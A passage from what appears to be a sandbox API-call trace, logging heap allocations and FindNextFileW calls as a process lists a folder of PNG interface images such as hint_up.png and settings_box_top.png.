Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.752] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.752] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.753] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11fe9f8 [0080.753] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122a070 [0080.753] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.753] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849b5aa1, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x849b5aa1, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x389df7a1, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x5f4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="3.png", cAlternateFileName="")) returned 1 [0080.753] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.753] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.753] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.754] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.754] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.754] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11fea18 [0080.754] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122a178 [0080.754] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.754] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x849dbbfe, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x849dbbfe, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x38cd92f9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3dec, dwReserved0=0x0, dwReserved1=0x0, cFileName="4.png", cAlternateFileName="")) returned 1 [0080.754] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.754] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.755] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.755] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.755] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.755] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11fea38 [0080.755] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122a280 [0080.755] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.755] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a01d5b, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84a01d5b, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x38cff457, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x61bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="5.png", cAlternateFileName="")) returned 1 [0080.756] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.756] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.756] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.756] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.756] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.756] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11fea58 [0080.756] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122a388 [0080.757] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.757] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a01d5b, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84a01d5b, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x39103941, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x6f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="6.png", cAlternateFileName="")) returned 1 [0080.757] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.757] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.757] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.757] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.757] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.758] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11fea78 [0080.758] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122a490 [0080.758] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.758] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a27eb8, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84a27eb8, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x39da8d77, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x493b, dwReserved0=0x0, dwReserved1=0x0, cFileName="7.png", cAlternateFileName="")) returned 1 [0080.758] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.758] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.758] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.759] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11fea98 [0080.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122a598 [0080.759] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.759] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a27eb8, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84a27eb8, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x39eb3709, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x52a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="8.png", cAlternateFileName="")) returned 1 [0080.759] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.760] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.760] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.760] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.760] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.760] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11feab8 [0080.760] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122a6a0 [0080.761] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.761] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a4e015, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84a4e015, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x39eb3709, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x531b, dwReserved0=0x0, dwReserved1=0x0, cFileName="9.png", cAlternateFileName="")) returned 1 [0080.761] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.761] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.761] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.762] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.762] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.762] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11fead8 [0080.762] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122a7a8 [0080.762] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.762] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84ac042c, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84ac042c, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3a2457d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x46a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0080.762] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.763] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.763] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.763] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.763] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.763] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11feaf8 [0080.763] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122a8b0 [0080.764] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.764] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a74172, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84a74172, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3a5d78a9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xa3d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="daisies.png", cAlternateFileName="")) returned 1 [0080.764] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.764] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.764] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.764] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.764] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.764] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11feb18 [0080.765] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122a9b8 [0080.765] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.765] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a74172, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84a74172, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3a5fda07, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="glow.png", cAlternateFileName="")) returned 1 [0080.765] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.765] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.765] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.766] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.766] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.766] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11feb38 [0080.766] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122aac0 [0080.767] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.767] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84b7eafd, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84b7eafd, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3a5fda07, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd75, dwReserved0=0x0, dwReserved1=0x0, cFileName="hint_down.png", cAlternateFileName="")) returned 1 [0080.767] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.767] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.767] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.767] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.767] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.768] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11feb58 [0080.768] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122abc8 [0080.768] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.768] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84b7eafd, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84b7eafd, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3a7c6a6f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd04, dwReserved0=0x0, dwReserved1=0x0, cFileName="hint_over.png", cAlternateFileName="")) returned 1 [0080.768] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.768] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.769] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.769] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.769] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.769] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11feb78 [0080.769] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122acd0 [0080.769] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x6180) returned 0x12312f0 [0080.770] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124a7c8) returned 1 [0080.770] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.770] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84ba4c5a, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84ba4c5a, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3ac634d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd35, dwReserved0=0x0, dwReserved1=0x0, cFileName="hint_up.png", cAlternateFileName="")) returned 1 [0080.770] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.770] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.770] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.771] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.771] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.771] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11feb98 [0080.771] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122add8 [0080.771] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.771] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84bf0f14, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84bf0f14, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3b719741, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_box_bottom.png", cAlternateFileName="")) returned 1 [0080.771] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.772] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.772] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.772] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.772] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.772] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11febb8 [0080.772] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122aee0 [0080.772] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.772] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c17071, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84c17071, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3b73f89f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x87, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_box_divider_left.png", cAlternateFileName="")) returned 1 [0080.773] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.773] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.773] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.773] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.773] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.773] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11febd8 [0080.774] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122afe8 [0080.774] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.774] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c17071, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84c17071, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3b73f89f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x87, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_box_divider_right.png", cAlternateFileName="")) returned 1 [0080.774] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.774] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.774] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.775] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.775] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.775] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11febf8 [0080.775] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122b0f0 [0080.775] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.775] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c3d1ce, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84c3d1ce, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3b7659fd, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x89, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_box_left.png", cAlternateFileName="")) returned 1 [0080.775] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.776] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.776] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.776] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.776] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.776] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11fec18 [0080.776] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122b1f8 [0080.776] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.777] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c3d1ce, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84c3d1ce, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3b78bb5b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x89, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_box_right.png", cAlternateFileName="")) returned 1 [0080.777] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.777] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.777] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.777] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.777] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.777] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11fec38 [0080.778] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122b300 [0080.778] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.778] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c3d1ce, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84c3d1ce, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3b78bb5b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x89, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings_box_top.png", cAlternateFileName="")) returned 1 [0080.778] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.778] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.778] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.779] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.779] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fe4e0 [0080.779] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11fec58 [0080.779] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x122b408 [0080.780] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe4e0) returned 1 [0080.780] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: 